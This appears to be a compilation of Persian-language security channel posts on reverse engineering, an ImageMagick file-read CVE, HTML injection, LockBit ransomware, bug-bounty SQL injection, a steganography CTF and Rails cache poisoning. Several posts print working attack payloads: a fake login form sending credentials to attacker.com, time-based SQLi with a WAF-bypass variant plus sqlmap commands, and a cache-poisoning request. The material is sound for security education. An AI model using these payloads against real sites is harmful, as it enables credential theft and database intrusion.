✅#Reverse_Engineering


چرا به مهندسی معکوس نیاز داریم؟

تصور کنید با یک فایل اجرایی مشکوک روبرو شده‌اید. شما نمی‌دانید این فایل دقیقاً چه کاری انجام می‌دهد. آیا اطلاعات شما را سرقت می‌کند؟ آیا سیستم شما را به بخشی از یک بات‌نت تبدیل می‌کند؟ یا شاید یک باج‌افزار است که منتظر فرصتی برای رمزنگاری فایل‌های شماست؟

تحلیل بدافزار از طریق مهندسی معکوس به ما اجازه می‌دهد تا به این سوالات پاسخ دهیم. با (Decompilation) و (Disassembly) کد، می‌توانیم به منطق برنامه پی ببریم، الگوریتم‌های آن را درک کنیم و به اهداف نهایی نویسنده آن پی ببریم.

ابزارهای ضروری برای تحلیلگر بدافزار

شما به یک جعبه ابزار مناسب نیاز دارید. این ابزارها به دو دسته اصلی تقسیم می‌شوند: (Static Analysis) و (Dynamic Analysis)

۱. ابزارهای تحلیل استاتیک

در این نوع تحلیل، ما برنامه را بدون اجرا کردن آن بررسی می‌کنیم. هدف، بررسی ساختار فایل، رشته‌های متنی (Strings)، کتابخانه‌های استفاده شده (Libraries) و خودِ کدهای اسمبلی است.

۔ Disassemblers :

* ۔IDA Pro/IDA Free: استاندارد طلایی در دنیای مهندسی معکوس. این ابزار قدرتمند قابلیت‌های بی‌نظیری برای تحلیل برنامه‌ها ارائه می‌دهد.

* ۔Ghidra: یک ابزار رایگان و متن‌باز که توسط NSA (آژانس امنیت ملی آمریکا) توسعه داده شده است. Ghidra یک رقیب جدی برای IDA Pro محسوب می‌شود و قابلیت Decompilation به زبان شبه C را نیز دارد.

* ۔Radare2/Cutter: یک فریمورک قدرتمند و خط-فرمانی (Command-line) برای مهندسی معکوس است که Cutter واسط گرافیکی آن محسوب می‌شود.

۔ File Format Analyzers :

* ۔PE-bear/PEStudio: برای تحلیل فایل‌های اجرایی ویندوز (Portable Executable) فوق‌العاده هستند. با این ابزارها می‌توانید هدرها (Headers)، بخش‌ها (Sections)، و توابع Import/Export شده را بررسی کنید.

۲. ابزارهای تحلیل داینامیک

در این روش، بدافزار را در یک محیط کنترل‌شده و ایزوله (Sandbox) اجرا می‌کنیم تا رفتار آن را مشاهده و تحلیل کنیم.

* ۔Debuggers: این ابزارها به شما اجازه می‌دهند تا برنامه را خط به خط اجرا کرده، وضعیت رجیسترها (Registers) و حافظه (Memory) را مشاهده و در نقاط مشخصی از اجرا، آن را متوقف کنید (Breakpoints).

* ۔x64dbg/x32dbg: دیباگرهای مدرن و قدرتمند برای ویندوز که به صورت گسترده توسط تحلیلگران استفاده می‌شوند.

* ۔WinDbg: دیباگر رسمی مایکروسافت که برای تحلیل‌های سطح پایین (Low-level) و کرنل (Kernel) بسیار کارآمد است.

* ۔GDB (GNU Debugger): دیباگر استاندارد در سیستم‌عامل‌های مبتنی بر لینوکس.

۔Monitoring Tools :

* ۔Procmon (Process Monitor): ابزاری از مجموعه Sysinternals که فعالیت‌های فایل سیستم، رجیستری و فرآیندهای سیستم را در لحظه نمایش می‌دهد.

* ۔Wireshark: برای شنود و تحلیل ترافیک شبکه استفاده می‌شود. با این ابزار می‌توانید بفهمید بدافزار با چه سرورهای فرماندهی و کنترلی (C2) ارتباط برقرار می‌کند.


آشنایی با زبان اسمبلی (Assembly) - زبان ماشین

برای درک عمیق مهندسی معکوس، آشنایی با زبان اسمبلی ضروری است. اسمبلی یک زبان برنامه‌نویسی سطح پایین است که ارتباط مستقیمی با معماری پردازنده (CPU) دارد. هر دستور در اسمبلی معادل یک دستورالعمل پایه‌ای برای پردازنده است.

برخی از دستورات پایه‌ای که باید بشناسید:

۔* MOV : داده‌ها را بین رجیسترها و حافظه جابجا می‌کند.
۔* ADD / SUB : عملیات جمع و تفریق را انجام می‌دهند.
۔* JMP (Jump) : پرش به بخش دیگری از کد.
۔* CMP (Compare) : دو مقدار را مقایسه می‌کند و فلگ‌های پردازنده را بر اساس نتیجه تنظیم می‌کند.
۔* JE / JNE (Jump if Equal/Jump if Not Equal) : پرش‌های شرطی که بر اساس نتیجه CMP عمل می‌کنند.
۔* CALL : یک تابع را فراخوانی می‌کند.
۔* RET (Return) : از یک تابع بازمی‌گردد.

رجیسترهای اصلی در معماری x86 که باید با آن‌ها آشنا باشید:

۔* General Purpose Registers :

۔* EAX : معمولاً برای نگهداری مقدار بازگشتی از توابع استفاده می‌شود.
۔* EBX , ECX , EDX : برای مقاصد عمومی.
۔* ESP : اشاره‌گر پشته (Stack Pointer).
۔* EBP : اشاره‌گر پایه پشته (Base Pointer).
۔* ESI , EDI : برای عملیات روی رشته‌ها و داده‌ها.

۔* Instruction Pointer:
۔* EIP : به آدرس دستور بعدی که باید اجرا شود، اشاره می‌کند.

یک سناریوی عملی: تحلیل یک بدافزار ساده

فرض کنید یک فایل crackme.exe داریم که می‌خواهیم آن را تحلیل کنیم. هدف ما پیدا کردن "رمز عبور" صحیح برای اجرای موفقیت‌آمیز آن است.👇

#✅ImageMagick

به‌روزرسانی فوری در ابزار چند پلتفرمی ImageMagick

یک آسیب‌پذیری بسیار خطرناک از نوع (RCE) با شناسه CVE-2022-44268 در ImageMagick کشف شده.


آسیب‌پذیری به مهاجم اجازه می‌دهد که با استفاده از یک فایل تصویری PNG دستکاری‌شده، محتوای فایل‌های دلخواه روی سرور را بخواند و آن را به بیرون نشت دهد.

سناریوی حمله به این صورت عمل می‌کند:

مهاجم یک فایل PNG مخرب ایجاد می‌کند.

در داخل متادیتای این فایل، مسیری به یک فایل حساس روی سرور (مثلاً /etc/passwd) جاسازی می‌شود.

قربانی (مثلاً یک وب‌سایت که از ImageMagick برای آپلود و پردازش تصویر پروفایل کاربران استفاده می‌کند) این فایل را بارگذاری و پردازش می‌کند.

کتابخانه ImageMagick هنگام پردازش، فایل مشخص‌شده در متادیتا را می‌خواند و محتوای آن را به عنوان بخشی از خروجی تصویر فشرده‌شده جدید قرار می‌دهد.

مهاجم با تحلیل تصویر خروجی، می‌تواند به محتوای فایل حساس دسترسی پیدا کند.

این آسیب‌پذیری به خودی خود یک RCE مستقیم نیست، اما می‌تواند با ضعف‌های امنیتی دیگر ترکیب شده و منجر به اجرای کد از راه دور و کنترل کامل سیستم شود.

@NullError_ir

✅#HTML_Injection

چگونه وب‌سایت‌ها را فقط با HTML Injection هک کنیم

در این تحلیل، به بررسی مفاهیم، ارائه‌ی Payload های متنوع‌تر و تشریح سناریوهای حمله و روش‌های مقابله می‌پردازیم تا مطلبی جامع و تخصصی برای شما فراهم شود.

مقدمه: HTML Injection چیست و چرا اهمیت دارد؟

آسیب‌پذیری HTML Injection زمانی رخ می‌دهد که یک اپلیکیشن وب، ورودی کاربر را بدون اعتبارسنجی (Validation) یا پاک‌سازی (Sanitization) مناسب، مستقیماً در پاسخ HTML خود درج می‌کند. این ضعف به مهاجم اجازه می‌دهد تا کدهای HTML (و در موارد پیشرفته‌تر JavaScript) دلخواه خود را به صفحه وب تزریق کرده و محتوای نمایش داده شده به کاربران دیگر را دستکاری کند.

برخلاف تصور اولیه، این آسیب‌پذیری صرفاً یک "مشکل ظاهری" نیست و می‌تواند به حملات جدی‌تری مانند Phishing ، Defacement ، Session Hijacking (در صورت ترکیب با XSS) و سرقت اطلاعات حساس منجر شود. در واقع، HTML Injection اغلب به عنوان پله اول برای اجرای حملات پیچیده‌تر Cross-Site Scripting (XSS) در نظر گرفته می‌شود.

شناسایی آسیب‌پذیری HTML Injection

فرآیند کشف این آسیب‌پذیری معمولاً شامل شناسایی نقاط ورود داده (Input Vectors) در یک وب‌سایت است. این نقاط می‌توانند هر جایی باشند که کاربر قادر به ارسال داده است، از جمله:

فیلدهای جستجو
فرم‌های تماس و ارسال نظر
پارامترهای URL
فیلدهای پروفایل کاربری

تست اولیه:

ساده‌ترین راه برای تست، تزریق یک تگ HTML ساده و بررسی رندر شدن آن در خروجی صفحه است. Payload های ابتدایی می‌توانند شامل موارد زیر باشند:

<h1>TEST</h1> :
برای بررسی اینکه آیا تگ هدر با موفقیت رندر می‌شود.

<b>TEST</b> یا <i>TEST</i> :
برای تست تگ‌های قالب‌بندی متن.

<p style="color:red;">TEST</p> :
برای بررسی تزریق استایل‌های CSS.

اگر پس از ارسال این ورودی‌ها، متن "TEST" به صورت بزرگ، برجسته، کج یا با رنگ قرمز در صفحه ظاهر شود، به این معنی است که اپلیکیشن در برابر HTML Injection آسیب‌پذیر است.

مثال عملی:

فرض کنید یک وب‌سایت دارای پارامتر q در URL برای جستجو است:

https://example.com/search?q=my-query

مهاجم می‌تواند URL را به شکل زیر دستکاری کند:

https://example.com/search?q=<h1>Vulnerability-Found</h1>

اگر در صفحه‌ی نتایج، عبارت "Vulnerability-Found" به عنوان یک تیتر <h1> نمایش داده شود، آسیب‌پذیری تایید شده است.


سناریوهای حمله: از Defacement تا Phishing

پس از تایید آسیب‌پذیری، مهاجم می‌تواند حملات مختلفی را طراحی و اجرا کند. در اینجا به بررسی چند سناریوی رایج با جزئیات بیشتر می‌پردازیم.

1۔ Defacement (تغییر چهره وب‌سایت)

ساده‌ترین نوع حمله، تغییر موقت ظاهر وب‌سایت برای سایر بازدیدکنندگان است. این کار با تزریق تگ‌های HTML و استایل‌های CSS انجام می‌شود.

* پیلودی برای نمایش یک پیام بزرگ:

<h1 style="font-size:100px; color:red; text-align:center;">Hacked by Attacker</h1>
    

* پیلودی برای نمایش یک تصویر:

<img src="https://attacker.com/hacked.jpg" alt="Hacked">
    

این Payload یک تصویر از منبعی خارجی را در صفحه آسیب‌پذیر بارگذاری می‌کند.

2۔ Phishing (سرقت اطلاعات کاربری)

این سناریو یکی از خطرناک‌ترین کاربردهای HTML Injection است. مهاجم می‌تواند یک فرم لاگین جعلی ایجاد کرده و آن را در صفحه آسیب‌پذیر تزریق کند. کاربران بدون اینکه متوجه شوند، اطلاعات کاربری خود را در فرم مهاجم وارد می‌کنند.

پیلود فرم لاگین جعلی:

<h2>Please Login to Continue</h2>
    <form action="http://attacker.com/steal.php" method="post">
      Username: <input type="text" name="username"><br>
      Password: <input type="password" name="password"><br>
      <input type="submit" value="Login">
</form>
    

در این Payload، یک فرم لاگین ساده ایجاد شده است. مهم‌ترین بخش، action="http://attacker.com/steal.php" است. این ویژگی مشخص می‌کند که اطلاعات وارد شده در فرم (نام کاربری و رمز عبور) پس از کلیک روی دکمه "Login"، به سرور مهاجم ارسال خواهد شد. فایل steal.php در سرور مهاجم، اسکریپتی است که اطلاعات دریافتی را ذخیره می‌کند.

3. تزریق لینک‌ها و دکمه‌های مخرب

مهاجم می‌تواند کاربران را به سمت وب‌سایت‌های مخرب، دانلود بدافزار یا صفحات Phishing دیگر هدایت کند.

✅#LockBit

یک پروفایل سطح بالای APT
از LockBit - امپراتوری باج‌افزار

گروه LockBit ، یکی از بدنام‌ترین و پرکارترین بازیگران در اکوسیستم جرایم سایبری، با عرضه نسخه LockBit 3.0 که با نام LockBit Black نیز شناخته می‌شود، سلطه خود را به عنوان یک تهدید مستمر پیشرفته (APT) در دنیای باج‌افزارها تثبیت کرده است. این گروه که تحت مدل Ransomware-as-a-Service (RaaS) فعالیت می‌کند، با نوآوری‌های فنی و یک مدل تجاری بی‌رحمانه، به کابوسی برای سازمان‌ها در سراسر جهان تبدیل شده است. در این تحلیل، به کالبدشکافی این گروه، تاکتیک‌ها، تکنیک‌ها و رویه‌های آن‌ها و ویژگی‌های منحصربه‌فرد آخرین نسخه باج‌افزارشان می‌پردازیم.

۔LockBit کیست؟ از آغاز تا تکامل به LockBit 3.0

گروه LockBit برای اولین بار در سپتامبر ۲۰۱۹ شناسایی شد و به سرعت با به‌روزرسانی‌های مداوم و توسعه یک پلتفرم RaaS قدرتمند، از رقبای خود پیشی گرفت. این گروه تکامل خود را در سه نسخه اصلی به نمایش گذاشته است:

1۔ LockBit: نسخه اولیه که از الگوریتم‌های رمزنگاری استاندارد و مکانیزم‌های انتشار اولیه استفاده می‌کرد.

2۔ LockBit 2.0 (LockBit Red): این نسخه یک جهش بزرگ بود. ویژگی برجسته آن، قابلیت انتشار خودکار (Self-Propagation) در شبکه‌های قربانی از طریق Group Policy ویندوز بود که نیاز به دخالت دستی اپراتور برای حرکت جانبی را به شدت کاهش می‌داد.

3۔ LockBit 3.0 (LockBit Black): این نسخه که در ژوئن ۲۰۲۲ عرضه شد، اوج تکامل فنی این گروه محسوب می‌شود. LockBit 3.0 ماژولارتر، مخفی‌کارتر و قدرتمندتر از همیشه است.

یکی از جنبه‌های منحصربه‌فرد LockBit، رویکرد "حرفه‌ای" و "تجاری" آن است. آن‌ها خود را نه یک گروه هکری با انگیزه‌های سیاسی، بلکه یک "کسب‌وکار" معرفی می‌کنند که تنها هدفش کسب درآمد است. این گروه حتی با راه‌اندازی یک برنامه Bug Bounty ، از محققان امنیتی دعوت کرد تا در ازای پاداش مالی، آسیب‌پذیری‌های موجود در نرم‌افزارشان را گزارش دهند؛ اقدامی که نشان‌دهنده اعتماد به نفس و همچنین تلاش آن‌ها برای بهبود مستمر ابزارهایشان است.

مدل کسب‌وکار: Ransomware-as-a-Service (RaaS)

موفقیت LockBit به شدت به مدل عملیاتی RaaS آن وابسته است. در این مدل، تیم اصلی LockBit مسئولیت توسعه و نگهداری باج‌افزار، زیرساخت Command and Control (C2) و پلتفرم مذاکره را بر عهده دارد. سپس این "سرویس" را در اختیار گروه‌های دیگر که به عنوان Affiliates (همکاران) شناخته می‌شوند، قرار می‌دهد.

* ۔Affiliates: این گروه‌ها مسئولیت نفوذ اولیه به شبکه‌های هدف، حرکت جانبی، استخراج داده‌ها و در نهایت اجرای باج‌افزار را بر عهده دارند.

* تقسیم سود: درآمد حاصل از باج پرداختی توسط قربانیان، بین تیم اصلی LockBit و Affiliate تقسیم می‌شود. معمولاً سهم Affiliate حدود ۷۰ تا ۸۰ درصد از کل مبلغ باج است که انگیزه‌ای بسیار قوی برای همکاری با این پلتفرم ایجاد می‌کند.

این مدل به LockBit اجازه داده است تا عملیات خود را به شکلی باورنکردنی مقیاس‌پذیر کند و همزمان از تخصص گروه‌های مختلف در زمینه‌های گوناگون نفوذ بهره‌مند شود.

کالبدشکافی فنی LockBit 3.0 (LockBit Black)

نسخه 3.0 با الهام‌گیری از ویژگی‌های باج‌افزار BlackMatter ، پیشرفت‌های قابل توجهی را معرفی کرد:

* رمزگذاری ماژولار و سریع: این باج‌افزار از یک رویکرد چندنخی (Multi-threaded) برای رمزگذاری فایل‌ها استفاده می‌کند که فرآیند را به شدت تسریع می‌بخشد.

* تکنیک‌های ضد تحلیل (Anti-Analysis): LockBit 3.0 به شدت مبهم‌سازی (Obfuscate) شده و از تکنیک‌های مختلفی برای جلوگیری از دیباگ شدن و مهندسی معکوس استفاده می‌کند. یکی از ویژگی‌های کلیدی آن این است که Payload اصلی باج‌افزار تنها پس از وارد کردن یک پسورد خاص در زمان اجرا، به صورت کامل Decrypt و اجرا می‌شود. این پسورد برای هر حمله منحصربه‌فرد است و تحلیل خودکار آن را در Sandboxها تقریباً غیرممکن می‌سازد.

* غیرفعال‌سازی سیستم‌های دفاعی: این بدافزار به صورت خودکار سرویس‌ها و فرآیندهای مرتبط با نرم‌افزارهای امنیتی (EDR, Antivirus)، ابزارهای پشتیبان‌گیری (مانند Veeam) و پایگاه‌های داده را خاتمه می‌دهد تا از رمزگذاری کامل فایل‌ها اطمینان حاصل کند.

* حذف Shadow Copies: برای جلوگیری از بازیابی اطلاعات توسط قربانی، به صورت سیستماتیک نسخه‌های پشتیبان Volume Shadow Copy را با استفاده از دستور vssadmin حذف می‌کند.

* تغییر آیکون فایل‌ها و Wallpaper: پس از رمزگذاری، آیکون فایل‌های آلوده به آیکون LockBit تغییر کرده و تصویر پس‌زمینه دسکتاپ نیز با یادداشت باج (Ransom Note) جایگزین می‌شود.

زنجیره حمله: تاکتیک‌ها، تکنیک‌ها و رویه‌ها بر اساس MITRE ATT&CK

✅#SQLI

باگ SQL Injection در یک برنامه Bug Bounty

یک راهنما برای یافتن آسیب‌پذیری SQLi با استفاده از payloadهای مبتنی بر زمان (Time-based) ، ابزار sqlmap و شناسایی هوشمند (Smart Reconnaissance) .

چرا SQLi همچنان در امنیت وب اهمیت دارد؟

با وجود گذشت دهه‌ها از کشف آن، SQL Injection (SQLi) همچنان یک تهدید حیاتی محسوب می‌شود. این آسیب‌پذیری به یک هانتر اجازه می‌دهد تا مستقیماً با پایگاه داده یک وب‌سایت تعامل داشته باشد. این کار به شما می‌آموزد که اپلیکیشن‌ها چگونه فکر می‌کنند و چگونه می‌توان آن‌ها را به فکر کردن نادرست وادار کرد.

۱۔ Reconnaissance (Recon) همه‌چیز است

شما نمی‌توانید چیزی را که نمی‌بینید، آزمایش کنید. اولین و حیاتی‌ترین قدم در Bug Bounty Hunting، ساختن یک لیست عظیم از اهداف بالقوه است.

گام اول: کشف Subdomainها

ابزارهایی مانند subfinder یا Amass برای این کار عالی هستند.

subfinder -d example.com -silent | httpx -silent > subdomains.txt

گام دوم: یافتن Endpointهای جذاب

در مرحله بعد، از ابزارهایی برای crawl کردن این زیردامنه‌ها و جستجوی صفحاتی که پارامتر قبول می‌کنند، به ویژه در URLها و فرم‌ها، استفاده کردم. این‌ها درهایی هستند که باید سعی کنیم بازشان کنیم. ابزار katana برای این منظور بسیار کارآمد است.

katana -u https://sub.example.com -silent | grep "=" | uro > endpoints.txt

> نکته حرفه‌ای: نتایج را برای صفحاتی با پسوندهای رایج مانند .php ، .asp و .jsp فیلتر کنید، زیرا این صفحات اغلب کوئری‌های پایگاه داده را مدیریت می‌کنند.

گام سوم: معدن طلای Google Dorking

۔Google Dorking یک تکنیک قدرتمند برای یافتن پارامترها و endpointهای پنهانی است که ممکن است crawlerها از دست بدهند.

site:example.com inurl:php?id=
site:example.com "index of" /admin
site:example.com inurl:product.asp?id=

این تکنیک اغلب پنل‌های ادمین یا صفحات قدیمی و فراموش‌شده‌ای را آشکار می‌کند که برای آزمایش عالی هستند.

۲. ابتدا تست دستی: درک منطق آسیب‌پذیری

فرض کنید : https://api.example.com/user.php?id=123 پیدا شد . کار را با payloadهای کلاسیک تست شروع کنید:

https://api.example.com/user.php?id=123'
https://api.example.com/user.php?id=123'--

صفحه هیچ خطای پایگاه داده‌ای را نشان نداد. فقط یک صفحه خالی برگرداند. این رفتار نشان‌دهنده وجود یک WAF است که به طور خاموش درخواست‌ها را مسدود می‌کند. اینجاست که بسیاری از مبتدیان تسلیم می‌شوند.

۳. تزریق SQL مبتنی بر زمان (Time-Based SQL Injection)

وقتی یک اپلیکیشن خطا یا داده‌ای را به شما نشان نمی‌دهد، باید از آن یک سوال بپرسید و مدت زمانی که طول می‌کشد تا پاسخ دهد را اندازه‌گیری کنید. این تکنیک Time-based Blind SQLi نامیده می‌شود.

یک دستور ساده SLEEP در MySQL :

https://api.example.com/user.php?id=123' AND SLEEP(5)--

بله صفحه دقیقاً پنج ثانیه معلق ماند و سپس پاسخ داد. 😎! برای اطمینان کامل، آن را با یک کوئری نادرست نیز تأیید کنید :

https://api.example.com/user.php?id=123' AND SLEEP(0)--

صفحه فوراً بارگذاری شد. اپلیکیشن آسیب‌پذیر و منتظر دستور است .

۴. تست خودکار با Sqlmap

تأیید دستی رضایت‌بخش است، اما برای ترسیم گستره کامل آسیب‌پذیری، به تست خودکار نیاز است. از ابزار sqlmap استفاده کنید

sqlmap -u "https://api.example.com/user.php?id=123" --technique=T --time-sec=10 --batch

* -u: آدرس URL هدف.

* --technique=T: مشخص کردن استفاده انحصاری از تکنیک Time-based.

* --time-sec=10: وادار کردن پایگاه داده به تعلیق به مدت ۱۰ ثانیه (برای شبکه‌های کند قابل اطمینان‌تر است).

* --batch: اجرا در حالت غیرتعاملی (non-interactive).

۔Sqlmap کار را به دست گرفت، آسیب‌پذیری تأیید شد و در نهایت نام پایگاه داده را استخراج کرد. این یک یافته تمیز و اثبات‌شده است.


۵. هنر دور زدن WAF (WAF Bypass)

کوئری‌های ساده اولیه مسدود شدند. پس چگونه payload حاوی SLEEP از فایروال عبور کرد؟ دور زدن WAF اغلب به مبهم‌سازی خلاصه می‌شود. بسیاری از WAFها با الگوهای رایج مانند SLEEP() یا UNION فعال می‌شوند. برای دور زدن آن‌ها، اغلب می‌توانید از سینتکس‌های جایگزین یا کامنت‌ها برای شکستن امضای شناخته‌شده payload استفاده کنید. برای مثال، در MySQL به جای SLEEP(5) ، می‌توانید امتحان کنید:

AND (SELECT * FROM (SELECT(SLEEP(5)))a)

این ساختار تودرتو، بسیاری از WAFها که به دنبال الگوی ساده SLEEP(X) هستند را فریب می‌دهد.

✅#Stegoint

چالش Stegoint: یک سناریوی تحلیل عمیق و چند لایه

در این چالش که یک مسیر خطی ساده ندارد، یک تصویر به ما داده شده که باید flag نهایی چالش را در آن پیدا کنیم . یک زنجیره چند مرحله‌ای از تکنیک‌های مختلف رمزنگاری، پنهان‌نگاری و تحلیل داده . در ادامه، فرآیند حل چالش را به صورت یک سناریو بازسازی می‌کنیم.

فاز اول: شناسایی سطح اولیه (Initial Surface Analysis)

* هدف: جمع‌آوری اطلاعات اولیه از فایل هدف ( steve.jpg ).

* ابزار: exiftool

* دستور:

exiftool steve.jpg

* یافته کلیدی (Indicator): در خروجی exiftool ، دو فیلد مشکوک و حیاتی وجود دارد:

1. یک رشته طولانی و به ظاهر تصادفی :

Gur V hfrq fgrtuvqr gb uvqr gur svyr naq gur cnffjbeq vf va gur qrfpevcgvba

2. یک رشته کوتاه : stegopass

* تحلیل و فرضیه‌سازی:

* رشته موجود در Image Denoscription به وضوح شبیه یک رمز عبور است ( stegopass ).

* رشته Comment فاقد پترن‌های رایج انکودینگ مانند Base64 (مثلاً کاراکتر = در انتها یا استفاده از + و / ) است. اما توزیع حروف آن شبیه به زبان انگلیسی است. این یک نشانه قوی برای استفاده از یک رمزنگاری جایگزینی ساده (Simple Substitution Cipher) است. در دنیای CTF، اولین مظنون همیشه ROT13 است.

فاز دوم: شکستن رمز اولیه و کشف ابزار

* هدف: رمزگشایی رشته Comment برای درک پیام پنهان.

* ابزار CyberChef (ابزار استاندارد صنعتی برای این نوع تحلیل‌ها) یا هر دیکودر آنلاین ROT13.

* **چرا CyberChef؟ برخلاف ابزارهای آنلاین ساده، CyberChef دارای قابلیتی به نام "Magic" است. با قرار دادن رشته ورودی و اجرای "Magic"، این ابزار به طور خودکار ده‌ها نوع انکودینگ و رمزنگاری رایج (از جمله ROT13) را تست کرده و محتمل‌ترین نتیجه را پیشنهاد می‌دهد. این رویکرد بسیار حرفه‌ای‌تر و سریع‌تر از "آزمون و خطا"ی دستی است.

* ورودی (Input):
Gur V hfrq fgrtuvqr gb uvqr gur svyr naq gur cnffjbeq vf va gur qrfpevcgvba

* خروجی (Output) پس از اعمال ROT13:
The I used steghide to hide the file and the password is in the denoscription

* تحلیل و نتیجه‌گیری:
این پیام رمزگشایی شده، یک نقشه راه دقیق است:

1.ابزار استفاده شده: steghide

2.محل رمز عبور: in the denoscription (که به فیلد Image Denoscription در فراداده‌ها اشاره دارد).

فاز سوم: استخراج لایه اول داده پنهان

* هدف: استفاده از اطلاعات به دست آمده برای استخراج فایل جاسازی شده با steghide.

* ابزار: steghide

* دستور:

steghide extract -sf steve.jpg

* تعامل (Interaction): ابزار از شما یک passphrase درخواست می‌کند. بر اساس تحلیل فاز اول، رمز عبور stegopass را وارد می‌کنیم.

* خروجی: یک فایل جدید به نام secret.txt استخراج می‌شود.

فاز چهارم: تحلیل محتوای استخراج شده و ورود به لایه دوم

* هدف: بررسی فایل secret.txt و کشف مرحله بعدی.

* دستور:

cat secret.txt

* یافته کلیدی: محتوای این فایل، فلگ نهایی نیست، بلکه یک رشته طولانی و رمز شده دیگر است که به یک لینک pastebin اشاره دارد و مجدداً با ROT13 رمز شده است.

uggcf://cnfgrova.pbz/l1td4RTW

* رمزگشایی (با همان CyberChef ):

https://pastebin.com/y1gq4EGJ

فاز پنجم: تحلیل داده‌های Pastebin و استخراج فایل ZIP

* هدف: دسترسی به لینک Pastebin و تحلیل محتوای آن.

* یافته کلیدی: صفحه Pastebin حاوی یک بلاک بسیار بزرگ از متن Base64 است.

* اقدام:

1. کل متن Base64 را کپی می‌کنیم.

2. با استفاده از ابزار خط فرمان base64 یا مجدداً CyberChef ، آن را دیکود می‌کنیم.

3. خروجی دیکود شده را در یک فایل باینری ذخیره می‌کنیم (مثلاً output.bin ).

base64 --decode < pastebin_content.txt > output.bin

* تحلیل فایل خروجی: اکنون باید ماهیت این فایل باینری را کشف کنیم.

* ابزار: file

* دستور:

file output.bin
    

* خروجی:

output.bin: Zip archive data, at least v2.0 to extract

* نتیجه‌گیری: این همان فایل ZIP است . این فایل از داده‌های Base64 که در لینک Pastebin پنهان بود، متولد شد. حالا ما یک فایل output.zip داریم که احتمالاً حاوی فلگ نهایی است، اما قطعاً با رمز عبور محافظت می‌شود.

فاز ششم: شکار رمز عبور فایل ZIP با تحلیل LSB

* هدف: پیدا کردن رمز عبور فایل output.zip .

* فرضیه: از آنجایی که تمام سرنخ‌های فراداده‌ای ( exiftool ) استفاده شده‌اند، باید به سراغ تکنیک‌های پنهان‌نگاری عمیق‌تر در خود پیکسل‌های تصویر اصلی ( steve.jpg ) برویم. متداول‌ترین تکنیک، پنهان‌نگاری در بیت‌های کم‌ارزش (Least Significant Bit - LSB) است.

✅#Cache

۔Parameter Cloaking: هنر پنهان‌سازی پارامتر در حملات Web Cache Poisoning

حملات Web Cache Poisoning (WCP) همواره یکی از جذاب‌ترین و در عین حال پیچیده‌ترین بردارهای حمله در دنیای امنیت وب بوده‌اند. این حملات به مهاجم اجازه می‌دهند تا یک پاسخ مخرب را در حافظه Cache یک سرور ذخیره کرده و آن را به تعداد زیادی از کاربران بی‌خبر تحویل دهد. امروز قصد داریم به یکی از زیرشاخه‌های هوشمندانه و مخفیانه این حملات بپردازیم: Parameter Cloaking. این تکنیک بر یک اصل ساده اما خطرناک استوار است: عدم تطابق در تفسیر درخواست (Request Interpretation Mismatch) بین اجزای مختلف یک وب اپلیکیشن.

۔Web Cache Poisoning: یک یادآوری سریع

قبل از ورود به بحث اصلی، به طور خلاصه به یاد بیاوریم که Cache چگونه کار می‌کند و چگونه مسموم می‌شود. سرورهای Cache (مانند Varnish, Nginx Cache یا سرویس‌های CDN) یک نسخه از پاسخ‌های یکسان به درخواست‌های تکراری را ذخیره می‌کنند تا سرعت پاسخ‌دهی به کاربران را افزایش دهند. برای اینکه Cache بداند کدام پاسخ متعلق به کدام درخواست است، از یک "کلید" یا Cache Key استفاده می‌کند. این کلید معمولاً از ترکیب بخش‌هایی از درخواست HTTP مانند Host Header و Request Path (مسیر URL) ساخته می‌شود.

آسیب‌پذیری WCP زمانی رخ می‌دهد که یک اپلیکیشن برای تولید پاسخ خود از ورودی‌هایی (مانند یک Header خاص) استفاده می‌کند که در Cache Key لحاظ نشده‌اند. مهاجم با دستکاری این ورودی‌های "نادیده گرفته شده" (Unkeyed Inputs)، پاسخی مخرب تولید می‌کند و Cache آن را تحت یک کلید معتبر ذخیره می‌کند. از این پس، هر کاربری که درخواستی منطبق با آن Cache Key ارسال کند، پاسخ مسموم را دریافت خواهد کرد.

۔Parameter Cloaking چیست؟

۔Parameter Cloaking یا "پنهان‌سازی پارامتر" یک تکنیک خاص در WCP است که در آن مهاجم پارامتری را به URL اضافه می‌کند به گونه‌ای که سرور Cache آن را به عنوان بخشی از Cache Key می‌شناسد، اما اپلیکیشن Back-end آن را نادیده می‌گیرد.

این عدم تطابق در پردازش URL، فرصتی طلایی برای مسموم‌سازی Cache ایجاد می‌کند. تصور کنید یک درخواست شامل دو بخش است که توسط دو مفسر مختلف خوانده می‌شود:

1. مفسر اول (Cache Server): درخواست را کامل و با تمام جزئیات می‌بیند.

2. مفسر دوم (Application Framework): به دلیل یک تفاوت جزئی در نحوه Parse کردن Query String، بخشی از درخواست را نادیده می‌گیرد.

این دقیقاً همان جایی است که Parameter Cloaking اتفاق می‌افتد.

آسیب‌پذیری در قلب Ruby on Rails

در این نوشته به طور خاص به این آسیب‌پذیری در فریم‌ورک Ruby on Rails اشاره می‌کنیم. مشکل از نحوه پردازش پارامترهای Query String در این فریم‌ورک ناشی می‌شود. طبق استانداردها، پارامترها در URL با کاراکتر & از هم جدا می‌شوند.

حالا این URL را در نظر بگیرید:

https://example.com/search?query=normal&;type=xss

بسیاری از سرورهای Cache و Proxy، این رشته را به صورت استاندارد پردازش کرده و دو پارامتر را تشخیص می‌دهند:

* query با مقدار normal
* type با مقدار xss

بنابراین، Cache Key بر اساس وجود هر دو پارامتر ساخته می‌شود.

اما در نسخه‌های قدیمی‌تر Rails (و برخی دیگر از فریم‌ورک‌ها)، Parser مربوط به Query String، ترکیب &; را به عنوان یک جداکننده معتبر نمی‌شناسد. در نتیجه، از دیدگاه Rails، این URL فقط یک پارامتر دارد:

* query با مقدار normal

پارامتر type به طور کامل "نادیده" یا Cloak می‌شود.

سناریوی حمله: گام به گام تا مسموم‌سازی Cache

بیایید یک سناریوی حمله کامل را با استفاده از این آسیب‌پذیری بررسی کنیم. فرض کنید یک وب‌سایت آسیب‌پذیر با آدرس victim.com داریم که از Rails استفاده می‌کند و یک سرور Cache در جلوی آن قرار دارد.

مرحله اول: ارسال درخواست مسموم‌کننده (The Poisoning Request)

مهاجم یک درخواست دستکاری‌شده به سرور ارسال می‌کند. هدف این است که یک صفحه معتبر (مثلاً صفحه اصلی) را تحت یک Cache Key مخرب ذخیره کند.

GET /?lang=en&;callback=alert(1) HTTP/1.1
Host: victim.com

* تحلیل از دید Cache Server: سرور Cache این URL را می‌بیند و یک Cache Key بر اساس مسیر /?lang=en&;callback=alert(1) تولید می‌کند.

